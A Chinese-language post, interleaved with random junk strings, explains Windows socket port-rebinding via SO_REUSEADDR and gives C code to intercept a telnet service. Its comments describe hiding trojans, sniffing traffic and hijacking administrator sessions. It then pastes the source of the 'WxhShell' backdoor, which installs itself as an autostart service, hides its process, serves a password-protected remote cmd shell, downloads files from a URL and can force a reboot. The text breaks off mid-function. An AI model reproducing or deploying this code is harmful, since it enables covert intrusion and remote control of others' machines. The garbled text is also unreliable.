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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5=Il2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]QJ7q} wQYW5X saddr.sin_family = AF_INET; f1|&umJ$ =g$%jM>35 saddr.sin_addr.s_addr = htonl(INADDR_ANY); C?g<P0h -nY_.fp> bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EZ[e
a< 8aTo
TA7JA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \f'= kV4,45r 这意味着什么?意味着可以进行如下的攻击: _|7bpt9 mXI'=Vo!S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6L3i
2FQTu*p&B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >aT~G!y 7GRPPh<4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a}[rk*QmZ M/kBAxNIC| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?~ <NyJHN% ]{18-= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x!fgZr{ q-qz-cR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EP{/]T aa}U87]k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M:oZk&cs f=-R<l #include D&1(qi=x& #include ]xPy-j6C #include ^GNL:D%6d #include Ks-$([_F DWORD WINAPI ClientThread(LPVOID lpParam); zGa
V^X int main() 6foiN W+ { {Gw{W&< WORD wVersionRequested; t(UdV DWORD ret; *9(E0" WSADATA wsaData; 3-BC4y/ BOOL val; c"P:p%\m&u SOCKADDR_IN saddr; S}6xkX SOCKADDR_IN scaddr; LeYI<a@n@$ int err; :(;ho.zz SOCKET s; $Y8iT<nP SOCKET sc; _gQ_ixu int caddsize; ) .W0} HANDLE mt; [X ]XH DWORD tid; KxDfPd+j[ wVersionRequested = MAKEWORD( 2, 2 ); y<PQ$D) err = WSAStartup( wVersionRequested, &wsaData ); zA|)9Dq if ( err != 0 ) { ~-'-<- printf("error!WSAStartup failed!\n"); gSkY c{b return -1; wI?AZd;`' } e8{!Kjiz saddr.sin_family = AF_INET; oE)xL%*
%$=2tfR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '`j MNKn\ OV`li#H saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J:G{ saddr.sin_port = htons(23); cyB2=, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BzTzIo5 { @>`qfy? printf("error!socket failed!\n"); Nt687 return -1; dg&GMo } *A0*.>@N val = TRUE; `E|>K\ //SO_REUSEADDR选项就是可以实现端口重绑定的 nI/kX^Pd if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ( +(bw4V/ { zEDN^K ' printf("error!setsockopt failed!\n"); \zhCGDm1_ return -1; 6u xF< } xW58B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DuIgFp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~|{_Go{
Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |{La@X gps. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) # ELYPp]6 { l7U<]i GL ret=GetLastError(); ps33& printf("error!bind failed!\n"); x^McUfdr| return -1; ol}}c6 } zIr4!|X listen(s,2); 3*-!0 while(1) yUs/lI, Q { h;A~:}c, caddsize = sizeof(scaddr); #wJ^:r-c` //接受连接请求 E5Lq-
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GN+!o($ if(sc!=INVALID_SOCKET) /!U(/ { \_7'f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '
?a d if(mt==NULL) O;.DQ { "
"S&zN printf("Thread Creat Failed!\n"); (/7cXd@\6 break; YD#L@:&gv } G> sqfYkK } ,nJCqX~/G CloseHandle(mt); $g\p)- aU } .2y @@g closesocket(s); 9H2mA$2jnE WSACleanup(); E,QD6<?[ return 0; !8tqYY?>@\ } VUD9ZyPw DWORD WINAPI ClientThread(LPVOID lpParam) QT4vjz+| { 6t gq.XL^n SOCKET ss = (SOCKET)lpParam; &:~9'-O SOCKET sc; /*Gbl unsigned char buf[4096]; z6fY_LL SOCKADDR_IN saddr; 'l3 DP long num; #
S0N`V DWORD val; zUWeOR'X DWORD ret; SPnW8 //如果是隐藏端口应用的话,可以在此处加一些判断 %
@!hf! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 >RrG&Wv59 saddr.sin_family = AF_INET; zrwzI+4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zuF]E+ saddr.sin_port = htons(23); lU`t~|>r+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uJa.]J~L= { <&HHo>rl printf("error!socket failed!\n"); ;8cTy8 return -1; ek d[|g } xu@xP5GB^ val = 100; ~|ha91 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wdIJ?\/763 { gFXz:!A ret = GetLastError(); 31N5dIi, return -1; [B j\h7G } w8F`RRHEE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'fZ\uMdTx { Gsy'':u ret = GetLastError(); ^~s!*T)\ return -1; 6 kD. } NleMZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) obGvd6\ { $&s V.fGu printf("error!socket connect failed!\n"); M2nUY`%#v closesocket(sc); w`atk=K closesocket(ss); J2k4k return -1; 28j/K=0( } )GOio+{H while(1) =+H,} { QFFFxaeJg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ZFK:|Ju //如果是嗅探内容的话,可以再此处进行内容分析和记录 f,Am;:\ | //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #Vy:6O num = recv(ss,buf,4096,0); HT6$|j if(num>0) GyfKSj; send(sc,buf,num,0); O"wo&5b_ else if(num==0) !PgwFJ break; Us_1 #$p, num = recv(sc,buf,4096,0); 5+t$4N+P if(num>0) %0'7J@W send(ss,buf,num,0); (/ -90u else if(num==0) sYB2{w
break; Dn`
} z~ua#(z1S closesocket(ss); S$46YQ closesocket(sc); PgsG*5WQ return 0 ; ^JGwCHeb|H } H!|g?"C wGWv<<Qw" |3>%(4
OS ========================================================== rx@2Dmt6
s%G%s,d 下边附上一个代码,,WXhSHELL BCX2C c7nbHJi ========================================================== LtV,djk "d2JNFIHb #include "stdafx.h" ,lVQ-qw5 FJBB@<>: #include <stdio.h> csV3mzP #include <string.h> -8v:eyc #include <windows.h> {:=]J4] #include <winsock2.h> D58RHgY[ #include <winsvc.h> 6_K7!?YG7 #include <urlmon.h> H%0WD_ )!;20Po #pragma comment (lib, "Ws2_32.lib") N|/gwcKe #pragma comment (lib, "urlmon.lib") %eGI]!vf *77Y$X##k #define MAX_USER 100 // 最大客户端连接数 >?.jN| #define BUF_SOCK 200 // sock buffer Lz!H@)-mr #define KEY_BUFF 255 // 输入 buffer \uZ1Sl EXR6Vb, #define REBOOT 0 // 重启 a3,A_M}M' #define SHUTDOWN 1 // 关机 Hk$do`H-=Y j.c{%UYj #define DEF_PORT 5000 // 监听端口 x+v&3YF `rV-,-r@ #define REG_LEN 16 // 注册表键长度 ^?|d< J:{ #define SVC_LEN 80 // NT服务名长度 bk]g}s E`]un. // 从dll定义API 7Dw.9EQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2 ]n4)vv, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +`!>lo{X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j|{
n? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qx&7Ceu" c= aZ[ // wxhshell配置信息 E&)o.l<h| struct WSCFG { uH#X:Vne int ws_port; // 监听端口 V{X/y N.u char ws_passstr[REG_LEN]; // 口令 y2 R\SL, int ws_autoins; // 安装标记, 1=yes 0=no g'2}Y5m$` char ws_regname[REG_LEN]; // 注册表键名 @.,'A[D!K char ws_svcname[REG_LEN]; // 服务名 ;D@ F char ws_svcdisp[SVC_LEN]; // 服务显示名 `/<f([w char ws_svcdesc[SVC_LEN]; // 服务描述信息 }0]iS8*tL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PGuPw'2;[ int ws_downexe; // 下载执行标记, 1=yes 0=no ]$Q@4=fb char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" P G
zwS char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I:1Pz|$` W*/2x8$d }; 3N4kW[J2i 2iC BF-, // default Wxhshell configuration T
"#DhEM struct WSCFG wscfg={DEF_PORT, C8=r sh "xuhuanlingzhe", ->Fsmb+R 1, Ox@$ } "Wxhshell", !E,|EdIr "Wxhshell", t0Inf
[um "WxhShell Service", |nU%H=Rs/ "Wrsky Windows CmdShell Service", SZ:R~4 A "Please Input Your Password: ", O{Q+<fBC9 1, VBW][f " http://www.wrsky.com/wxhshell.exe", ),$^h7[n "Wxhshell.exe" !j3Xzn9 }; )JU`Z@?8 rS+ >oP} // 消息定义模块 z? GtC{L9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'a$/ !~X char *msg_ws_prompt="\n\r? for help\n\r#>"; 99n;%W> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; M0hR]4T char *msg_ws_ext="\n\rExit."; X|L_}Q7 char *msg_ws_end="\n\rQuit."; fw|t`mUGu char *msg_ws_boot="\n\rReboot..."; w^:@g~ char *msg_ws_poff="\n\rShutdown..."; }H/94]~tH char *msg_ws_down="\n\rSave to "; e0IGx]5i lB7/oa1]> char *msg_ws_err="\n\rErr!"; pp2 Jy{\d char *msg_ws_ok="\n\rOK!"; TQOJN 2} _^~8 char ExeFile[MAX_PATH]; HUbXJsSP int nUser = 0; Equ%6x HANDLE handles[MAX_USER]; TN/&^/ int OsIsNt; /K;A bE -6^Ee?" SERVICE_STATUS serviceStatus; y^ D3}ds SERVICE_STATUS_HANDLE hServiceStatusHandle; D'Uc?2X,& SCjVzvG$yg // 函数声明 JB!*{{ int Install(void); 9l,8:%X_ int Uninstall(void); .~a8\6t int DownloadFile(char *sURL, SOCKET wsh); [a.(0YLr'w int Boot(int flag); ;KG}Yr72 void HideProc(void); <
B!f; int GetOsVer(void); F5{GMn;j int Wxhshell(SOCKET wsl); -L2?Tap void TalkWithClient(void *cs); ,t|_Nc
int CmdShell(SOCKET sock); RK_z!%(P int StartFromService(void); |7.X)h` int StartWxhshell(LPSTR lpCmdLine); S<5.}c R gL1r"&^L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ObataUxQT VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ko
"JH=< 5U*${ // 数据结构和表定义 C*Qx SERVICE_TABLE_ENTRY DispatchTable[] = Y"dTm;& { McN'J.Sxp {wscfg.ws_svcname, NTServiceMain}, knWI7 {NULL, NULL} i6i;{\tc }; &fnfuU$ |r4&@) // 自我安装 [mF=<G" int Install(void) $$R-> { (D+%*ax char svExeFile[MAX_PATH]; S Z &[o&H HKEY key; YT@N$kOg_ strcpy(svExeFile,ExeFile); ]ij:>O@{$ 5yp // 如果是win9x系统,修改注册表设为自启动 - @KT# if(!OsIsNt) { >_X(rar0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SQk5SP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z] |Y RegCloseKey(key); zj=F4]w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ge24Lp;Y6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o/!a7>xO4 RegCloseKey(key); W\e!rq return 0; t2qWB[r } sEx\7t K } 9y)}-TcSpY } /|<0,oz oJ else { @2\UjEo~ ">nFzg?Y // 如果是NT以上系统,安装为系统服务 0JhUncx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); If|i `,Iy if (schSCManager!=0) U"Z%_[* { `?T8NK SC_HANDLE schService = CreateService prxmDI ( k7z{q/]M schSCManager, 4Q\~l( wscfg.ws_svcname, Q}#H|@ wscfg.ws_svcdisp, eT8h:+k SERVICE_ALL_ACCESS, , qhv( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *y W9-( SERVICE_AUTO_START, +R31YR8C0 SERVICE_ERROR_NORMAL, S_Vquw(+ svExeFile, ?[lKft
NULL, +jp^ NULL, 1$"wN z NULL, O[^zQA NULL, EtcXzq>w NULL
.r@'9W^8 ); C}]rx{xC if (schService!=0) q,j` _
R4 { 4_\]zhS CloseServiceHandle(schService); dr4 m}v. CloseServiceHandle(schSCManager); E+eC #!&w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2V*<J:;wb strcat(svExeFile,wscfg.ws_svcname); l3kBt-m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' @j8tK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zx5t
gZd,N RegCloseKey(key); m RtE~~p return 0; AdRt\H < } Y FW0 } %W$?*Tm CloseServiceHandle(schSCManager); ?^:
xNRE$j } 1;+(HB } R=HcSRTkA r$Y% 15JV return 1; }5ONDg(I~ } \Eyy^pb hfQ^C6yR // 自我卸载 )W![TIp int Uninstall(void) .fS1 { 8f#&CC!L HKEY key; _NM=9cWd 'gz@UE1 if(!OsIsNt) { |Oe$)(`|h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p"J\+R RegDeleteValue(key,wscfg.ws_regname); I*8_5?)g< RegCloseKey(key); a~[]Ye@H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jm
G)=$, RegDeleteValue(key,wscfg.ws_regname); 6.GIUM%D RegCloseKey(key); ZlYb8+rW return 0; iI%"]- 0@1 } <}Rr C#uiA } L+"5g@ } C)Hb= else { ~r>N
jQ Of+ZE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^2um.`8 if (schSCManager!=0) ,0[h`FN { LgS.%Mn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7~ok*yG w if (schService!=0) Nc :>] { las|ougLy if(DeleteService(schService)!=0) { dD"o~iEC CloseServiceHandle(schService); U}<;4Px]7v CloseServiceHandle(schSCManager); <rF Y$
?x return 0; 2qUC@d<K } gj Ue{cb5 CloseServiceHandle(schService); s&zg!~@5b } cwA+?:Ry} CloseServiceHandle(schSCManager);
fj]) } {\f`s^;8{ } K3^N_^H 1PJ8O|Zt8 return 1; d/:zO4v3 } P(za8l> ws$!-t4<( // 从指定url下载文件
zWI C4: int DownloadFile(char *sURL, SOCKET wsh) l]o&D))R { lTpmoDa% HRESULT hr;
$mG&4Y char seps[]= "/"; h+h`0(z char *token; p,+$7f1S char *file; bPtbU:G char myURL[MAX_PATH]; QA&BNG char myFILE[MAX_PATH]; co!#. i<nUp1r( strcpy(myURL,sURL); &U8W(NxN token=strtok(myURL,seps); W.AN0N while(token!=NULL) fhp][)g; { ~;0J4hR file=token; w/HGmVa token=strtok(NULL,seps); `7zNVYur8 } t,K_!-HX+ ?Y#0Je GetCurrentDirectory(MAX_PATH,myFILE); &Q"Ox{~W strcat(myFILE, "\\"); - ?W hJ.U strcat(myFILE, file); /Hl]$sJY send(wsh,myFILE,strlen(myFILE),0); wA<#E6^vG send(wsh,"...",3,0); "b"Q0"w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Iz\IQa if(hr==S_OK) "!6 Ax-' return 0; %Ot^G%34 else 3yu{Q z5y, return 1; g2WDa'{L D-BWgK } ^w XXx=Xf )Aky:kM$ // 系统电源模块 L{\au5-4 int Boot(int flag) jnuovM!x~ { 6A]Ia4PL HANDLE hToken; :8bz+3p TOKEN_PRIVILEGES tkp; sC Fqz[I 8L<GAe if(OsIsNt) { zl j%v/9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); it~>)_7*P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^L(}c O tkp.PrivilegeCount = 1; ;$\d^i{N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |8b*BnS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FU|c[u|z if(flag==REBOOT) { %K_[Bx{B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8ctUK| return 0; Yl+r>+^ } Ii,Lj1Q else { Z`5v6"Na if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;m3SlP{F return 0; Y.qlY3iBp } +_HPZo } q8;WHfGf else { NGlX%j4j if(flag==REBOOT) { fRe$}KX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yq.Cz:>b return 0; 8#w}wGV* } yD+)!q" else { [e+"G <> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?+S& `%? return 0; E+AEV`- } XTD_q } N6Fj}m&E z&o"K\y\ return 1; 5Y
4W:S } 2 fX-J +1H.5| // win9x进程隐藏模块 ^<R*7mB* void HideProc(void) !+4}x;!8 { y8Bi5Ae,+1 \$2E HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kv[,!P"Y if ( hKernel != NULL ) qHfs*MBJ% { *BYSfcX6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /s>ZT8vaAs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sY=fS2b#) FreeLibrary(hKernel); _'k?9eN` } Q9N=yz 1\q2;5 return; 1q*85[Y } xQa[bvW +! 6C^G // 获取操作系统版本 Cyxt EzPp int GetOsVer(void) `5;O|qRq { #e0tT+ OSVERSIONINFO winfo; !6ZkLE[XJ< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +.Kmpw4 GetVersionEx(&winfo); %Ysu613mz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +pJ;}+ return 1; 9~DoF]TM else _gK@),de return 0; w8*+l0 } 1%|+yu1 ^{["]!f# // 客户端句柄模块 Ep0L51Q int Wxhshell(SOCKET wsl) `?PZvGi { $WvI%r SOCKET wsh; IBY3QG struct sockaddr_in client; !JjB,1 DWORD myID;
>b#z
o, ~a8J"Wh while(nUser<MAX_USER) yOGaW~ { KL!k'4JNY int nSize=sizeof(client); P8e1J0A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W?!(/`J] if(wsh==INVALID_SOCKET) return 1; W{l+_a{/9 e
=Vu; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EVMhc"L if(handles[nUser]==0) ,b=&iDc closesocket(wsh); S=^yJ6xJ else |QJ!5nb nUser++; G8@({EY } %O;"Z`I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3=1aMQ 6#On .Q return 0; LbtcZ)D! } mCe,(/>l+ v8,+|+3 // 关闭 socket *KF: void CloseIt(SOCKET wsh) oYnA 3 { _/ZIDIn closesocket(wsh); nbMnqkNb nUser--; 8zGe5Dn9 ExitThread(0); 'i_od|19~h } k/O|ia6 X%xX3e' // 客户端请求句柄 ; )O)\__"- void TalkWithClient(void *cs) B=#rp*vwL { X3I\O,"I h{S';/=8 SOCKET wsh=(SOCKET)cs; QfB \h[A char pwd[SVC_LEN]; f3s0.G#l char cmd[KEY_BUFF]; x`w
4LF char chr[1]; *I`, L/ int i,j; %up]"L&i cu]2`DF while (nUser < MAX_USER) { eb2~$ ,$ *@lNL=%R if(wscfg.ws_passstr) { m,$oV?y>j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ck2O?Ne //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uh%%MhTjv //ZeroMemory(pwd,KEY_BUFF); qr$=oCqa i=0; Yva^JB while(i<SVC_LEN) { 3'O+ 5[esW // 设置超时 7_d gQI3y fd_set FdRead; W+&ZYN'E struct timeval TimeOut; =U!'v X d FD_ZERO(&FdRead); "0+_P{w+ FD_SET(wsh,&FdRead); RS#)uC5/% TimeOut.tv_sec=8; gAC} TimeOut.tv_usec=0; q/Ba#?sen int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EYd`qk3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BQmg$N,F zht^gOs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U2=5Nt5 pwd =chr[0]; wt[MzpR P if(chr[0]==0xd || chr[0]==0xa) { %F9%t pwd=0; zFqH)/ break; &4sUi K" } ej4 7'#EY i++; +,9I3Dq } xvQJTRk 3_B .W // 如果是非法用户,关闭 socket !v<r=u if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )?joF) } l.\Fr+*ej Cq?l> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {f3)!Pei`J send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m'XzZmI Fd2Eq&:en$ while(1) { HlBw:D(z:^ SJ^.#^) ZeroMemory(cmd,KEY_BUFF); +|).dm OqtQLqN // 自动支持客户端 telnet标准 t=NPo+fm j=0; ~4'e)g.hG while(j<KEY_BUFF) { >,Zjlkh3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C,hs!v6 cmd[j]=chr[0]; uJA8PfbD if(chr[0]==0xa || chr[0]==0xd) { `MlQPLH cmd[j]=0; kB_G L>fc break; l|^p;z:d } 9XX&~GW/ j++; BJ<hP9# } ,h5\vWZ o*eU0 // 下载文件 rV)mcfw:Z if(strstr(cmd,"http://")) { m:d
P, send(wsh,msg_ws_down,strlen(msg_ws_down),0); a[]=*(AZI if(DownloadFile(cmd,wsh)) <s2IC_f<+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bjq1za else +^Eruv+F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?P,z^ } ;RB]awE else { (Ybc~M)z iKN~fGRc switch(cmd[0]) { Mi,yg=V D5Wo e&g, // 帮助 [94A?pn[z case '?': { ;U<;R send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q}d6+ C break; $Lv,e\] } 7f#e#_sM; // 安装 fQ=Yf ?b case 'i': { E#v}// if(Install()) b%L8mX send(wsh,msg_ws_err,strlen(msg_ws_err),0); TDs=VTd@Z else B/:q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !JzM<hyg3 break; fchsn*R%- } Ii%^z?' // 卸载 B BbGq8p case 'r': { A&jkc ' if(Uninstall()) E'j>[C:U send(wsh,msg_ws_err,strlen(msg_ws_err),0); #8MA+ else U748$%}] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8{#WF# break; NE,2jeZQ . } <iuESeDG // 显示 wxhshell 所在路径 #wK { G)J case 'p': { vP`Sz}FU char svExeFile[MAX_PATH]; KPSFy< strcpy(svExeFile,"\n\r"); ~ P"@^cq strcat(svExeFile,ExeFile); Fm_^7| send(wsh,svExeFile,strlen(svExeFile),0); u\ro9l break; L3GA]TIf } BCYTlxC' // 重启 %i{Z@ case 'b': { U<gMgA send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @)1>ba if(Boot(REBOOT)) 4='Xhm send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gole7I else { &l"/G%W closesocket(wsh); jzI70+E ExitThread(0); >!848J } rn $a)^! break; y<0zAsT } QMLz // 关机 a\>+!Vq case 'd': { n/6#rj^$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NY
756B*
if(Boot(SHUTDOWN)) Y<-h#_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); FeoI+KA else { jj_z#6{ closesocket(wsh); *`Swv` ExitThread(0); `ltc)$ } bc=,$ break; g5M=$y/H } $s+/OgG4H // 获取shell (-Cxv`7 case 's': { v_mk{ CmdShell(wsh);
rR]U Ff closesocket(wsh); {L~j;p_G& ExitThread(0); +wc8rE6+W break; 0gO_dyB } Swz{5 J2C // 退出 0b6jGa case 'x': { G2qv)7{l2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a?jUm. CloseIt(wsh); |0ATH`{ break; "5
;fuM1 } w^z5O6 // 离开 L#O1> case 'q': { 3.+TM]RYN send(wsh,msg_ws_end,strlen(msg_ws_end),0); .7&V@A7 closesocket(wsh); U{i xok WSACleanup(); IR;l{q&` exit(1); vZ,DJ//U, break; Rd'P\ } Gu+9R> } 2?P H|| } 2(LF @xb K+MSjQS" // 提示信息 r5 tn' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -fpe } H3-(.l[!b) } ^Ej$o@PH jq%%|J.x return; %"-bG'Yc } <G|i!Pm j5m KJC // shell模块句柄 $inlI_ int CmdShell(SOCKET sock) fwQVx Je { YBh|\ STARTUPINFO si; )U12Rshl ZeroMemory(&si,sizeof(si)); >[}lC7 z, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $mxm?7ZVR si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GWFF.Mo^ PROCESS_INFORMATION ProcessInfo; yq. <,b=87 char cmdline[]="cmd"; ICck 0S! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `eZzYe(N return 0; YTpiOPf } QN47+)cVt" Vu.VH([b]Q // 自身启动模式 &O
+?#3 int StartFromService(void) OQW%nF9~ { pwvzs`[; typedef struct `%QXaKO- { (#kKL??W DWORD ExitStatus; Hjhgu= DWORD PebBaseAddress; &~mJ
).* DWORD AffinityMask; '8J!(+ DWORD BasePriority; 5aj%<r ULONG UniqueProcessId; yY[9\! ULONG InheritedFromUniqueProcessId; q QcQnd2K } PROCESS_BASIC_INFORMATION; mR["xDHD )<Fq}Q86 PROCNTQSIP NtQueryInformationProcess; 4)"S/u dG&^M".( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "C0?s7Y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wZ4w`|' R
